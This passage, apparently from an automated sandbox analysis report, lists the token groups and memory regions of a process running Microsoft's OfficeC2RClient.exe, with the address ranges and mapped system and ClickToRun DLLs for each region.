"NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2d7" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2624 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2625 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2626 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2627 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2628 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2629 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2630 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2631 start_va = 0x13f8d0000 end_va = 0x140912fff entry_point = 0x13f8d0000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 2632 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2633 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2634 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2635 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2812 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2813 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2814 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2870 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2871 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2872 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2873 start_va = 0x700000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 2874 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2875 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2876 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2877 start_va = 0x7fee2620000 end_va = 0x7fee2670fff entry_point = 0x7fee2620000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 2878 start_va = 0x7fef2df0000 end_va = 0x7fef2e0dfff entry_point = 0x7fef2df0000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 2879 start_va = 0x7fef2e10000 end_va = 0x7fef2e36fff entry_point = 0x7fef2e10000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 2880 start_va = 0x7fef79c0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79c0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 2881 start_va = 0x7fef7fa0000 end_va = 0x7fef801bfff entry_point = 0x7fef7fa0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2882 start_va = 0x7fef8320000 end_va = 0x7fef8395fff entry_point = 0x7fef8320000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 2883 start_va = 0x7fef83e0000 end_va = 0x7fef83e2fff entry_point = 0x7fef83e0000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 2884 start_va = 0x7fef83f0000 end_va = 0x7fef83f2fff entry_point = 0x7fef83f0000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 2885 start_va = 0x7fef8400000 end_va = 0x7fef8402fff entry_point = 0x7fef8400000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 2886 start_va = 0x7fef8410000 end_va = 0x7fef8412fff entry_point = 0x7fef8410000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 2887 start_va = 0x7fef8420000 end_va = 0x7fef8424fff entry_point = 0x7fef8420000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 2888 start_va = 0x7fef8430000 end_va = 0x7fef8434fff entry_point = 0x7fef8430000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 2889 start_va = 0x7fef8440000 end_va = 0x7fef8442fff entry_point = 0x7fef8440000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2890 start_va = 0x7fef8450000 end_va = 0x7fef84ecfff entry_point = 0x7fef8450000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 2891 start_va = 0x7fef84f0000 end_va = 0x7fef84f3fff entry_point = 0x7fef84f0000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2892 start_va = 0x7fef8500000 end_va = 0x7fef8503fff entry_point = 0x7fef8500000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2893 start_va = 0x7fef8510000 end_va = 0x7fef8512fff entry_point = 0x7fef8510000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2894 start_va = 0x7fef8520000 end_va = 0x7fef8523fff entry_point = 0x7fef8520000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2895 start_va = 0x7fef8530000 end_va = 0x7fef8532fff entry_point = 0x7fef8530000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2896 start_va = 0x7fef8540000 end_va = 0x7fef8542fff entry_point = 0x7fef8540000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2897 start_va = 0x7fef8550000 end_va = 0x7fef8552fff entry_point = 0x7fef8550000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2898 start_va = 0x7fef8560000 end_va = 0x7fef8562fff entry_point = 0x7fef8560000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2899 start_va = 0x7fef8570000 end_va = 0x7fef8572fff entry_point = 0x7fef8570000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2900 start_va = 0x7fef8580000 end_va = 0x7fef8582fff entry_point = 0x7fef8580000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2901 start_va = 0x7fef8590000 end_va = 0x7fef8681fff entry_point = 0x7fef8590000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 2902 start_va = 0x7fef8690000 end_va = 0x7fef8693fff entry_point = 0x7fef8690000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2903 start_va = 0x7fef86a0000 end_va = 0x7fef86b6fff entry_point = 0x7fef86a0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 2904 start_va = 0x7fef86c0000 end_va = 0x7fef86dafff entry_point = 0x7fef86c0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2905 start_va = 0x7fefb0d0000 end_va = 0x7fefb0dafff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2906 start_va = 0x7fefb880000 end_va = 0x7fefb890fff entry_point = 0x7fefb880000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2907 start_va = 0x7fefbc30000 end_va = 0x7fefbe44fff entry_point = 0x7fefbc30000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 2908 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2909 start_va = 0x7fefd680000 end_va = 0x7fefd6b9fff entry_point = 0x7fefd680000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2910 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2911 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2912 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2913 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2914 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2915 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2916 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2917 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2918 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2919 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2920 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2921 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2922 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2923 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2924 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2925 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2926 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2927 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2928 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2929 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2930 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2931 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2932 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2933 start_va = 0x710000 end_va = 0x890fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2934 start_va = 0x8a0000 end_va = 0x95ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 2935 start_va = 0x960000 end_va = 0xd52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 2936 start_va = 0xe30000 end_va = 0xeaffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 2937 start_va = 0xeb0000 end_va = 0x117efff entry_point = 0xeb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2938 start_va = 0x7feeb800000 end_va = 0x7feeb8e1fff entry_point = 0x7feeb800000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2939 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2940 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2941 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2951 start_va = 0x7fee2100000 end_va = 0x7fee219ffff entry_point = 0x7fee2100000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2980 start_va = 0x1180000 end_va = 0x127ffff entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 2981 start_va = 0x12f0000 end_va = 0x12fffff entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 2982 start_va = 0x14e0000 end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2983 start_va = 0x1690000 end_va = 0x178ffff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 2984 start_va = 0x7fefa940000 end_va = 0x7fefa9e6fff entry_point = 0x7fefa940000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2985 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2986 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2987 start_va = 0x7fefd4d0000 end_va = 0x7fefd50cfff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2988 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2989 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2990 start_va = 0x7fef9a00000 end_va = 0x7fef9d15fff entry_point = 0x7fef9a00000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 3318 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3319 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 3320 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 3321 start_va = 0x150000 end_va = 0x157fff entry_point = 0x150000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3322 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3323 start_va = 0x370000 end_va = 0x373fff entry_point = 0x370000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3324 start_va = 0x380000 end_va = 0x383fff entry_point = 0x380000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3325 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 3326 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 3327 start_va = 0xd60000 end_va = 0xe1ffff entry_point = 0xd60000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3328 start_va = 0x1340000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 3329 start_va = 0x17a0000 end_va = 0x189ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 3330 start_va = 0x18a0000 end_va = 0x199ffff entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 3331 start_va = 0x19e0000 end_va = 0x1adffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 3332 start_va = 0x1ae0000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 3333 start_va = 0x1c00000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 3334 start_va = 0x1d00000 end_va = 0x2042fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 3335 start_va = 0x2050000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3336 start_va = 0x2170000 end_va = 0x21effff entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 3337 start_va = 0x2230000 end_va = 0x232ffff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 3338 start_va = 0x2330000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 3339 start_va = 0x24f0000 end_va = 0x24fffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3340 start_va = 0x25a0000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 3341 start_va = 0x777b0000 end_va = 0x777b2fff entry_point = 0x777b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 3342 start_va = 0x7fef46b0000 end_va = 0x7fef46cbfff entry_point = 0x7fef46b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3343 start_va = 0x7fef46d0000 end_va = 0x7fef4731fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3344 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff 